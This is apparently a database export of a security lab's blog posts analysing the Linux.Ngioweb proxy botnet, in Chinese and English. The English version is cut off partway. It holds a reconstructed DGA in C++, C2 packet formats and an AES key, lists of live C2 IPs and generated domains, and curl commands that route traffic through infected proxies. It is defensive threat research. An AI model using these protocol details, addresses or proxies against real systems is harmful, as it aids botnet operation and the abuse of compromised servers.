C2协议访问了我们Sinkhole 的C2域名(enutofish-pronadimoful-multihitision.org)，所以可以说明他们都是Linux.Ngioweb Bot。\n\n```bash\nroot@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me\n31.170.123.49\n\nroot@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me\n208.113.197.88\n\nroot@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me\n45.58.190.100\n\nroot@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me\n72.29.64.29\n\nroot@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me\n54.38.101.17\n\nroot@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me\n88.99.212.97\n\nroot@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me\n23.91.65.240\n```\n\n\n\n### 被感染的IP信息\n\n通过Sinkhole C2域名(enutofish-pronadimoful-multihitision.org)，我们目前共观察到有2692个Bot IP。\n\n<a href=\"__GHOST_URL__/content/images/2019/06/bot.png\"><img src=\"__GHOST_URL__/content/images/2019/06/bot.png\" class=\"kg-image\"/></a>\n\n\n以下是被感染的IP 国家/地区详细列表\n\n```\nUS 1306\nBR 156\nRU 152\nDE 133\nFR 102\nSG 98\nNL 80\nGB 66\nCA 66\nIT 64\nVN 42\nAU 36\nPL 31\nTR 28\nJP 26\nIN 26\nZA 21\nID 19\nES 18\nUA 15\n```\n\n通过对被感染IP指纹识别，我们观察到几乎所有Bot IP都是Web服务器，同时都部署了WordPress程序，但是我们还不能确定攻击者是如何入侵WordPress网站。\n\n我们通过联系一些受感染者用户，并在他们的Web服务器上发现了多种类型的WebShell，这些WebShell都是高度混淆，但是混淆手法，加密方式以及编码特征相似。结合被感染IP访问Sinkhole时序特征，我们猜测攻击者会周期性地对受害者网站WebShell下发指令并运行Linux.Ngioweb程序。\n\n\n\n### 处置建议\n\nLinux.Ngioweb攻击者可能会监听代理网络流量，我们建议读者不要使用Stage-2 C2 IP提供的Socks5代理服务。\n\n我们建议WordPress用户备份网站文章数据库(删除wp.service.controller.*等后门用户)，重新安装最新版本WordPress程序，增强用户密码复杂度，增强WebShell检测能力，并禁止PHP命令执行相关函数；\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n\n\n####联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n\n#### IoC list\n\n样本MD5\n\n```\n827ecf99001fa66de513fe5281ce064d\n```\n\n\n\nStage-1 C2 (硬编码IP)\n\n```\n169.239.128.166 \tSouth Africa \tASN 61138 \tZappie Host LLC\n185.244.149.73 \tRomania \tASN 60117 \tHost Sailor Ltd.\n```\n\n\n\nStage-2 C2\n\n```\n163.172.201.184 \tFrance \tASN 12876 \tOnline S.a.s.\n163.172.202.116 \tFrance \tASN 12876 \tOnline S.a.s.\n5.135.35.160 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.119 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.121 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.123 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.124 \tFrance \tASN 16276 \tOVH SAS\n5.196.194.209 \tFrance \tASN 16276 \tOVH SAS\n51.254.57.83 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.84 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.85 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.91 \tFrance \tASN 16276 \tOVH SAS\n91.121.36.212 \tFrance \tASN 16276 \tOVH SAS\n91.121.236.219 \tFrance \tASN 16276 \tOVH SAS\n91.134.157.11 \tFrance \tASN 16276 \tOVH SAS\n92.222.151.63 \tFrance \tASN 16276 \tOVH SAS\n145.239.108.241 \tGermany \tASN 16276 \tOVH SAS\n178.33.101.176 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.177 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.178 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.182 \tIreland \tASN 16276 \tOVH SAS\n188.165.5.123 \tIreland \tASN 16276 \tOVH SAS\n188.165.163.20 \tFrance \tASN 16276 \tOVH SAS\n193.70.73.115 \tFrance \tASN 16276 \tOVH SAS\n```\n\n\n\nStage-1 C2 (DGA)\n\n```\nenutofish-pronadimoful-multihitision.org\nexaraxexese-macrobacaward-exafosuness.net\nnonafudazage.name\ndemigelike.net\nemuvufehood.net\nsubolukobese.biz\ninogepicor-prorarurument.biz\noverahudulize-unazibezize-overuzozerish.org\nimunolance-postodinenetn-antifipuketn.net\nantizerolant-monogevudom.info\ntransavecaful-transinenation-transikaduhern.com\nsubogonance.info\ninoxodusor-misehupukism.info\ndevikoviward-semibazegily-copaxugage.name\neniguzeless-inecimanable.net\nsubilebesion-irogipate.biz\ncolozosion-antigobunaful.name\ninudiduty-dezaviness.org\nirelizaring-enipulical-monovuxehossion.info\nilenudavous-monoxoxapal-semimihupution.info\nultrapadupize.biz\ncovategal-dezakedify-enebugassion.name\ntransivesudom-macropimuship.org\nrezolezation-transapupirify-seminecation.name\nmacrolutoxous-overefimety.name\ncoxumumage-dexolalite.name\ncotexafical-postirutuvian-emimimous.biz\ncopubuloness-misumusal-disokozian.com\nnonecuzuking-enekopofen-imakozity.info\ndezohipal-ultrazebebive.name\ncosazalike-antifoxirer-subudikic.biz\nunderotutilism-monoceraretion-underosociful.name\noverugiror.net\nemuzixucize.biz\ndisicevament-desizigasion-recadihuful.biz\ndecehoward-microhikodely-overokerezant.com\nmicrolasokadom-ultralarumous.info\nminixecision-iruzaxuhood.net\nprofusonuty.info\nmultifipakency-conovofy-prorakikate.com\nantiseramoment.info\npostavutetn-emedarevous.biz\ninolugoty-inidiverible.com\nprodipamament.biz\noverogobity-imivocurify-disovizution.biz\ndecozaness-antihazation-overetalovical.net\nnonesolafy.com\nunihatosancy.name\ninteriragocern-micropuxotion-transogorion.org\nseminamatity-enogibely.name\ninosebovion.net\nexofifure-postirexument.info\ntransirirenern-semizafunic-nonivubed.biz\nenegizize-microtizobity.name\nmacrohuseded-multipazaseship.com\nimefihured-macrohixuhood.org\nmicrolulition-macrokiguxable.biz\nmultizesumefy-emebefion.biz\nunderebelassion-postizoziless.info\ndezuvazen.name\ndecotusion-exexavihood-exevozebant.name\ndisuzepuly.info\ninuviging-antizoluly.biz\nmultisotiren-ilazufist.org\npredepussion.info\ninidozadom.name\ninterikuhaful.info\ncozuheming.biz\nmultiruxuth.org\nmonozogeced.org\nmononoredom.info\npostarubixage-monocinamety-overogefesal.com\nprebekokian-misadepepive-transilogify.com\nmonohatodom-cohotiship.com\nexebasusion.org\nunahodoness-emevuzeward-emuzeduness.com\nexemidexous-underiposapite-unegatature.name\ninterocugopist-misugexadic-ilobipegency.org\nmonokifomancy-misagefism-macrobepoth.com\nantizekussion-minipusaral-copofuxoship.com\nrelutodom-comakitize.name\nmultikezusion.org\nemopumical-enohecical.org\nsemitegopish.net\nrecepatission.info\ninoluvary.com\nseminitotuful.info\ninteranubing-emelulotal-transugotuzern.com\nsubefehity-iledutession.name\nultrapapiten.biz\ntransuvarusish-prozumoxety.info\ntransisigern.org\nimirotiship-microhopulive-emotomeship.com\npresefavution.info\nenevifaking.org\nmisidogive-coxecovor-dexefoxan.name\noverazadudom-deliromohood.com\nemakanuward.com\nemitohage-overasuhorure-antitipenoless.info\nultrasesebible.biz\nmultihadekite.name\niluvused-iravoxish.info\npostobagoly-detovaward-unixohible.biz\nunderasusogen.com\nimovaman-multimihivoship-imeduxian.biz\ndedunuguhood.com\nprevukition.info\nunderehugavish.org\nmisoxomelical-iluxubism.net\nmicrocolacoful-postabitition.name\noverurohely-overadolure-iruraluness.org\nunurodable-dekipuhic-postuxufous.org\nunitucihern-postadagen-imupuduth.org\nimukokuship.org\nprenubocetion-ultrahahohood.com\nmonofugition-underefogukic.org\nirofetufy.com\nirobigelike.org\npresifament.biz\noveretigution.info\nenuvopan-imixesoward-irarupipary.biz\ninorofizian.com\nmonopadecotion-multicecihood-imuzicasion.com\nexofosehance-minimezazofy.org\nmonokacofudom-inuvinable.com\nemisucosion-prohosexite-imorekusion.net\nsemiledoduly.info\nmultivapufy-promumuly-enonuben.net\nsubebodency.info\ncofexasish-inodehed.net\nunutexupify-conofubusion.com\nmisebonure-iluborize-rezericify.com\nexunaxian.info\ncolanizity-postosecive-nonuresible.info\ndedaliward-imipusen-inacaliver.com\nrefusovize.org\nmonokuvission-transodigical-semihehamussion.biz\ntransalavudom-multilavezuhood.net\nexusizeward.net\nunisimor.name\nminipihagaship.com\nrecusigetion-transubeviful.info\nmultixizitufy-microtomuly-multixoleward.com\nmicroxulodish-semibahoty.biz\nmacrokunith-proxobivive.net\npreginaxodom.name\ntransimapeful-cotalision.com\nprefinazuly.name\ninucasazing-microhesunian-semidikokement.biz\ndisitirotion-transekarenate.org\nunehihify-antimepavable-nonubovafy.net\nmisunotelike-nonugidant.info\nenogosudom-macrogekabive.biz\npostozokipetn-microdomobaly.biz\ninterunavission-ininibecist.org\nmicrohinoler.org\nprosihamish-noneguhaness.com\npreberekous-microkagibant-imemahal.name\niletegifage.org\nemikuraran.biz\noverokigoty-ilecavish.net\nnonikofucable-postelihuzism-rexecigism.net\nimixifure.info\nminirabupeness-nonitefuward.org\nmisasugegify-underazosuzish-exuvexezical.info\nmultipocihood-monomuhunible.org\nnonohacutancy-postuxikitan-microseditoless.info\noverasobament.info\noverulurotion.biz\ndisepadely-disuzirovor.net\nrepetepian-irelucify.biz\nenikobadom-postolixement.name\ninunatogite-imoboraness.net\nirimarefy.net\nmonohiloless-demodefy.com\nprevibetian-misunohigate.info\nmultivunuhance-inabiber.com\nsemicasinaty-ilibaholy.biz\ntransupovetn-monozeruduless.biz\ndebapesetn-underisaxufical-imukugamism.info\nmultibibetefy.com\nexanonish.name\ninteranulish-imazekalike-unisukugate.info\ninokevidage.org\nmonofipuly-underubihal.net\nprofobekify-subebobefy-exozufous.name\nmacrovetecuship-emebudemical-underaxakament.biz\ndemeficiward-retitisily-macromuvaward.org\nmonosumuly-ilenusuty-dedabaness.net\nexapofaran-postulusadify.com\nmicrohobament-postevofafity.com\nrebezusaly-overidirity-ultrahiseness.org\nunafacigage-transihicical-prebokity.info\ninterazution-irudegufy-antinefoly.biz\nminizecidish-macrolafukish-depovased.biz\nderirepous-cosideship-semibiseless.biz\noverupazadity-irativorical.name\ncoseviness-nonikunant-macrorasihood.net\nnonesocern-macrotocipity.info\ninteruzoputy.info\ninicinic-misuluzan-ultrakuxuness.com\nsububesebism-ultrabutath.com\nmisacireship.org\nexuxuburan-miniravuhood-exosoxen.info\nmacrozigahood-monosulopancy.com\nunegoping-detunusion-antimuruseful.biz\nmacrozixaward-semivanimoly-underekutoty.biz\nultratipuxian-inosilission-multiridith.net\nmicrotonagament.info\ncobemesion-redacocoful.name\ndisicogure-seminedasoly.biz\ndekacify.net\nemegamilike-imupogazance-ultrapanacesion.org\nunocelibable-underelatucance.com\nirodetolike-imisocatite-inecolafian.com\nantikuzucen-irokarance-transitupikible.org\nsemiralety-macrorobinant-ultrapixutency.biz\ntransisomuless.name\nilebigument-macroripakesion.org\nprofebarable.org\nnonixigefy-protisumiless.biz\ncorahicohood.com\npretuvution-disafatutical-irehopuvese.name\nminiregath-anticesuty-postudagily.biz\ncoguvilaship-recakubodom.name\noveripugoful-interizihing.org\nimipadaness-iralikoward-semitolicoly.info\ninterupefity-semigiduly.info\nmacromosoriship.net\nantigizepist.net\nsubuluhic-disomokate.net\nirunucudor-macrogocudern-comoxizish.name\nunderedofobate.net\nprolapuzern-progobutiful-dehifasion.org\nirucasian-macrofevasion.net\nunogoxeness-semixocapency.org\nrehofocese.org\nexebutian-interomifenism.org\nsubihefahood-subenopure-ultramoherihood.net\nnonezogeward.com\nexasavate-minidevilefy-subanevous.biz\nenodenission-overucelancy-microvitasission.info\nultrafakitesion-misesuzahical-transanafetion.biz\ninterinipoly-minimorovor-debininess.com\nprenedelission-interugefable-repekosossion.name\npostifozible-irololuship.com\nunozolasion.org\nunobelaness-prepifavety.info\ncofukosable.info\niloletible-imakeben.info\nultraronupity.name\nminikisision-monobavunism-micronepavage.org\nunufepaness-misedepugance.biz\ninafolage.com\nsemifolofic-unaraxal.biz\nenerivosism-imenufanist-macrovonahood.org\nmonobocution.info\ncosuzuness-prepurizor-unasulal.name\ninopivic-antimaporary-subavocobive.biz\ncovogidish-iletinassion.biz\ndefizalike-unodatage-inarabevous.com\nunuvirisern-interusalosize-misucakiness.org\nireninenish-multicemath-prezucetussion.biz\ninterodekive.com\niramilahood-antirotuxary-misobegesion.name\nmultidafadite-postagoker.org\nmonobagehance.net\nemixuvidite-ilofikency-subolubify.biz\npostugihucency-emademify.name\ncotefehood-imocakitency.biz\nenikavely-inosifuty-postaviraly.info\ntransabusossion.biz\ninteritebure.net\nunehumugage-ultraburosion.com\nsubutavahen-inuhabish.org\nsubifefer-devufoward-probelalance.org\nemefimafible.biz\nilibefudom.biz\npostemivaxage.net\nmonofudumossion.info\ninuxazodom-macrodexaxahood.org\nsemibugegetn-monohifutuly.biz\nmacromohazaship-subonohion-disonixucing.com\nemosacekant-cokebohood-nonetakive.biz\ninterozecifist-antipinukity-multifekemath.net\nrefedomous-antifaliless.name\nultraxekevohood-nonizerosion-exovigant.name\ninterarogous-unuculuhood.org\nsemipulimian.com\nmonocalacaless.biz\ndisevolikency-retipegation.biz\ncosituxath-misuxunor.info\nultraporader-conapefy-prolobeziless.info\nilucasure.com\nreletohite-misosulahood-antitedudom.info\nminivucilous-inafafomism.net\nmonorifutaless-ilocamussion.name\ninohufohese-imufilahood-antifidupite.com\nemegemaxed-transigifuty-multitumolith.net\nexotacible-denitokolike.com\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d0c61ff0bbc140007c57acf |
post | null | 2019-06-21T09:14:47.000Z | 63873b9a8b1c1e0007f52f4f | an-analysis-of-linux-ngioweb-botnet-en | 0 | 2022-02-09T07:12:34.000Z | public | published | null | 2019-06-21T10:45:43.000Z | An Analysis of Linux.Ngioweb Botnet | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>On May 27, 2019, Our Unknown Threat Detect System highlighted a suspicious ELF file, and till this day, the detection rate on VT is still only one with a very generic name. We determined that this is a Proxy Botnet, and it is a Linux version variant of the Win32.Ngioweb[<a href="https://research.checkpoint.com/ramnits-network-proxy-servers/">1]</a> malware. We named it Linux.Ngioweb. It shares a lot of code with Win32.Ngioweb, except that it has DGA features. We registered one of the DGA C2 domain names (enutofish-pronadimoful-multihitision.org) and was able to observe the Bot connections.</p>
<p>In addition, we have observed that Linux.Ngioweb malware has been implanted into a large number of WordPress Web servers.</p>
<p>Although the Bot program is loaded with the privilege of the user group corresponding to the Web container, it still works and runs as Rotating Proxy node[<a href="https://stormproxies.com/rotating_reverse_proxies.html">2]</a>.</p>
<p>We don’t know why the attacker runs this proxy botnet, but it is possible that everything goes through the proxy is being recorded by the attacker.</p>
<h3 id="overviewoflinuxngioweb">Overview of Linux.Ngioweb</h3>
<p>The main functionality of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy[<a href="https://hide-ip-proxy.com/what-is-a-backconnect-proxy/">3]</a>.on the victim's machine. The attacker builds multiple Bots into a Proxies Pool and controls it through a two-tier C2 protocol, then provides a Rotating Proxy Service.</p>
<p><a href="__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png"><img src="__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png" class="kg-image"/></a></p>
<h3 id="reverseengineeringonlinuxngioweb">Reverse engineering on Linux.Ngioweb</h3>
<h4 id="basicinformation">Basic information</h4>
<ul>
<li>MD5: 827ecf99001fa66de513fe5281ce064d</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h4 id="antireverseengineeringtechnique">Anti-reverse engineering technique</h4>
<ul>
<li>
<p>Uses a niche library named musl libc<br>
<a href="__GHOST_URL__/content/images/2019/06/1.PNG"><img src="__GHOST_URL__/content/images/2019/06/1.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>Stores its functions in the function table in advance<br>
<a href="__GHOST_URL__/content/images/2019/06/2.PNG"><img src="__GHOST_URL__/content/images/2019/06/2-3.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>Uses Stack Strings Obfuscation<br>
<a href="__GHOST_URL__/content/images/2019/06/3.PNG"><img src="__GHOST_URL__/content/images/2019/06/3-2.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>Generates constant table used by CRC and AES<br>
<a href="__GHOST_URL__/content/images/2019/06/crypt-1.png"><img src="__GHOST_URL__/content/images/2019/06/crypt-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Uses a two-tier C2 protocol, where Stage-2 C2 is determined by the CONNECT instruction of Stage-1 C2</p>
</li>
<li>
<p>Stage-2 C2 uses a two-layer encrypted communication protocol</p>
</li>
</ul>
<h4 id="stage1c2protocolanalysis">Stage-1 C2 protocol analysis</h4>
<p>At this stage, the main behavior of the sample is to establish communication with Stage-1 C2, and proceed to the next step according to the instructions returned by C2.</p>
<h6 id="communicationattempt">Communication attempt</h6>
<ul>
<li>
<p>Try to establish communication with the following hardcoded C2 IP every 60 seconds<br>
169.239.128.166:443<br>
185.244.149.73:443</p>
</li>
<li>
<p>Try to establish communication with the domain name generated by DGA (Domain Generation Algorithm) every 73 seconds. When the number of DGA domain names reaches 300, the Seed will be reset. So the total number of DGA domain names is 300.<br>
<a href="__GHOST_URL__/content/images/2019/06/4.PNG"><img src="__GHOST_URL__/content/images/2019/06/4-1.PNG" class="kg-image"/></a></p>
</li>
</ul>
<h6 id="dgaimplementation">DGA implementation</h6>
<pre><code class="language-c">uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
</code></pre>
<h6 id="communicationprotocol">Communication Protocol</h6>
<p>This phase of communication is based on the HTTP protocol and the parameters are Base64 encoded.</p>
<h6 id="packetsoverview">Packets overview</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/5.PNG"><img src="__GHOST_URL__/content/images/2019/06/5-1.PNG" class="kg-image"/></a></p>
<h6 id="sentpacketsdecode">Sent Packets decode</h6>
<p>After decoded the parameter content by Base64, we get the following information.<br>
<a href="__GHOST_URL__/content/images/2019/06/6.PNG"><img src="__GHOST_URL__/content/images/2019/06/6-1.PNG" class="kg-image"/></a></p>
<ul>
<li>
<p>id=machine-id[0:15]</p>
<p><a href="__GHOST_URL__/content/images/2019/06/7.PNG"><img src="__GHOST_URL__/content/images/2019/06/7.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>v=x86_64, hardcoded, architecture</p>
</li>
<li>
<p>sv=5003, hardcoded, version number</p>
</li>
<li>
<p>&qlohmzalwdepupwf, random 16-byte data, the algorithm is as follows</p>
<p><a href="__GHOST_URL__/content/images/2019/06/8.PNG"><img src="__GHOST_URL__/content/images/2019/06/8-1.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>User-Agent, hardcoded</p>
<pre><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
</code></pre>
</li>
</ul>
<h6 id="receivedpacketsdecode">Received Packets decode</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/a.PNG"><img src="__GHOST_URL__/content/images/2019/06/a-1.PNG" class="kg-image"/></a></p>
<p>Command Supported</p>
<ul>
<li>WAIT</li>
<li>CONNECT</li>
<li>DISCONNECT</li>
<li>CERT</li>
</ul>
<h4 id="stage2c2protocolanalysis">Stage-2 C2 protocol analysis</h4>
<p>At this stage, the main action of the sample is to establish communication with the C2 of Stage-2 and enable the Back-Connect Proxy function. C2 of stage-2 is specified by the CONNECT command.</p>
<h6 id="communicationprotocol">Communication Protocol</h6>
<p>At this stage, the communication is combined by double-layer encryption. The inner layer is XOR and the outer layer is AES.</p>
<h6 id="packetsoverview">Packets overview</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/b.PNG"><img src="__GHOST_URL__/content/images/2019/06/b-1.PNG" class="kg-image"/></a></p>
<h6 id="encryptionalgorithm">Encryption Algorithm</h6>
<p>The XOR key is generated by a random algorithm:<br>
<a href="__GHOST_URL__/content/images/2019/06/d.PNG"><img src="__GHOST_URL__/content/images/2019/06/d-1.PNG" class="kg-image"/></a></p>
<p>The algorithm is:<br>
<a href="__GHOST_URL__/content/images/2019/06/c.PNG"><img src="__GHOST_URL__/content/images/2019/06/c-1.PNG" class="kg-image"/></a></p>
<p>AES uses ECB mode, no padding. The key is:<strong>qwerasdfzxcqwerasdftyuirfdsdsdss</strong></p>
<h6 id="packetstructure">Packet Structure</h6>
<p>The packet consists of two parts: “header” and “msg”.</p>
<p>“header” structure:</p>
<pre><code class="language-c">#le->little endian
#be->big endian
struct header
{
uint32_le xorkey;
uint32_be msgcrc32;
uint32_be len;
uint16_be msgcode
uint16_be magic
};
</code></pre>
<p>“msg” consists of chunks, and the chunks supported by the sample are as follows:</p>
<table>
<thead>
<tr>
<th>Chunk Type</th>
<th>Chunk Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>BYTE</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>WORD big endian</td>
</tr>
<tr>
<td>3</td>
<td>4</td>
<td>DWORD big endian</td>
</tr>
<tr>
<td>4</td>
<td>8</td>
<td>QWORD big endian</td>
</tr>
<tr>
<td>5</td>
<td>N+4</td>
<td>Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array</td>
</tr>
</tbody>
</table>
<p>A “msg” can have one or more chunks, and different “msg”s are made up by different chunks .</p>
<p>The “msg” types uses by this sample are “recv” and “send”.</p>
<ul>
<li>
<p>recv<br>
<a href="__GHOST_URL__/content/images/2019/06/msgrecv.PNG"><img src="__GHOST_URL__/content/images/2019/06/msgrecv-1.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>send<br>
<a href="__GHOST_URL__/content/images/2019/06/msgsend.PNG"><img src="__GHOST_URL__/content/images/2019/06/msgsend-1.PNG" class="kg-image"/></a></p>
</li>
</ul>
<p>See the table below for a summary of different “msg”s:</p>
<table>
<thead>
<tr>
<th>msgcode</th>
<th>Driection</th>
<th>Description</th>
<th>Fromat</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1010</td>
<td>recv</td>
<td>set channel id</td>
<td>3 chunks:(QWORD ConnId, Array IPAddr,WORD Port)</td>
</tr>
<tr>
<td>0x1011</td>
<td>recv</td>
<td>start proxy request</td>
<td>5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port)</td>
</tr>
<tr>
<td>0x1012</td>
<td>recv</td>
<td>close connection</td>
<td>1 chunk:(QWORD ConnId)</td>
</tr>
<tr>
<td>0x10</td>
<td>send</td>
<td>check-in</td>
<td>1 chunk:(QWORD BotId)</td>
</tr>
<tr>
<td>0x11</td>
<td>send</td>
<td>set-channel ack</td>
<td>1 chunk:(DWORD VersionId)</td>
</tr>
<tr>
<td>0x14</td>
<td>send</td>
<td>tcp server started</td>
<td>5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)</td>
</tr>
<tr>
<td>0x15</td>
<td>send</td>
<td>error</td>
<td>2 chunks:(DWORD RequestId,BYTE reason )</td>
</tr>
<tr>
<td>0x16</td>
<td>send</td>
<td>udp server started</td>
<td>5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)</td>
</tr>
</tbody>
</table>
<h6 id="sentpacketssampleanalysis">Sent packets sample analysis</h6>
<ul>
<li>
<p>Raw data</p>
<pre><code> packet[0:31]:
6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51
04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x088c526c
msgcrc32 --->0x3e80a93c
msglen --->0x00000010
msgcode --->0x0010,check-in
magic --->0xfa51
msg --->packet[16:31]
1st chunk
chunktype --->0x4
content --->0xddb0b49d10ec42c3
</code></pre>
</li>
<li>
<p>After XOR encryption</p>
<pre><code>6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d
0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c
</code></pre>
</li>
<li>
<p>After AES encryption</p>
<pre><code>c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26
3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e
</code></pre>
</li>
</ul>
<h6 id="receivedpacketssampleanalysis">Received packets sample analysis</h6>
<ul>
<li>
<p>Raw data</p>
<pre><code>c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d
3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84
ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88
</code></pre>
</li>
<li>
<p>After AES decryption</p>
<pre><code>59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08
69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47
19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59
</code></pre>
</li>
<li>
<p>After XOR decryption</p>
<pre><code> packet[0:47]
59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51
04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e
74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x6de58b59
msgcrc32 --->0x270b34b6
msglen --->0x00000020
msgcode --->0x1010,set channel id
magic --->0xfa51
msg --->packet[16:47]
1st chunk
chunktype --->0x04
content --->0x5d0af3ff08eea244
2nt chunk
chunktype --->0x05
content --->len:0x00000004 buf:0xda1e7404
3rd chunk
chunktype --->0x02
content --->0x8144
</code></pre>
</li>
</ul>
<h3 id="stage2c2associationanalysis">Stage-2 C2 association analysis</h3>
<p>We obtained the following 6 Stage-2 C2 addresses by visiting the Stage-1 C2 URL (<a href="http://185.244.149.73:443/min.js">http://185.244.149.73:443/min.js</a>).</p>
<pre><code>5.135.58.119
5.135.58.121
5.135.58.123
5.135.58.124
91.134.157.11
193.70.73.115
</code></pre>
<p>We looked up this md5 (9017804333c820e3b4249130fc989e00) in our GraphicQuery platform and was able to find more IPs which host the same file, we then sent specific crafted packets to these IPs and was able to ID another 18 Stage-2 C2s.</p>
<pre><code>5.135.35.160
5.196.194.209
51.254.57.83
54.36.244.84
54.36.244.85
54.36.244.91
91.121.36.212
91.121.236.219
92.222.151.63
145.239.108.241
163.172.201.184
163.172.202.116
178.33.101.176
178.33.101.177
178.33.101.178
178.33.101.182
188.165.5.123
188.165.163.20
</code></pre>
<p>We found that these Stage-2 C2 IP address are providing Socks5 proxy service by looking them up on free-socks.in</p>
<p><a href="__GHOST_URL__/content/images/2019/06/free-proxy.png"><img src="__GHOST_URL__/content/images/2019/06/free-proxy.png" class="kg-image"/></a></p>
<p>As we tested, all these Socks5 proxy IPs are properly functioning. Also, they accessed the C2 domain we own(enutofish-pronadimoful-multihitision.org) via the Stage-1 C2 protocol, so it can be said that they are all Linux.Ngioweb Bots.</p>
<pre><code class="language-bash">root@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me
31.170.123.49
root@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me
208.113.197.88
root@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me
45.58.190.100
root@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me
72.29.64.29
root@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me
54.38.101.17
root@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me
88.99.212.97
root@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me
23.91.65.240
</code></pre>
<h3 id="infectedipsinformation">Infected IPs information</h3>
<p>By listening on C2 domain (enutofish-pronadimoful-multihitision.org), we have observed a total of 2692 Bot IPs.</p>
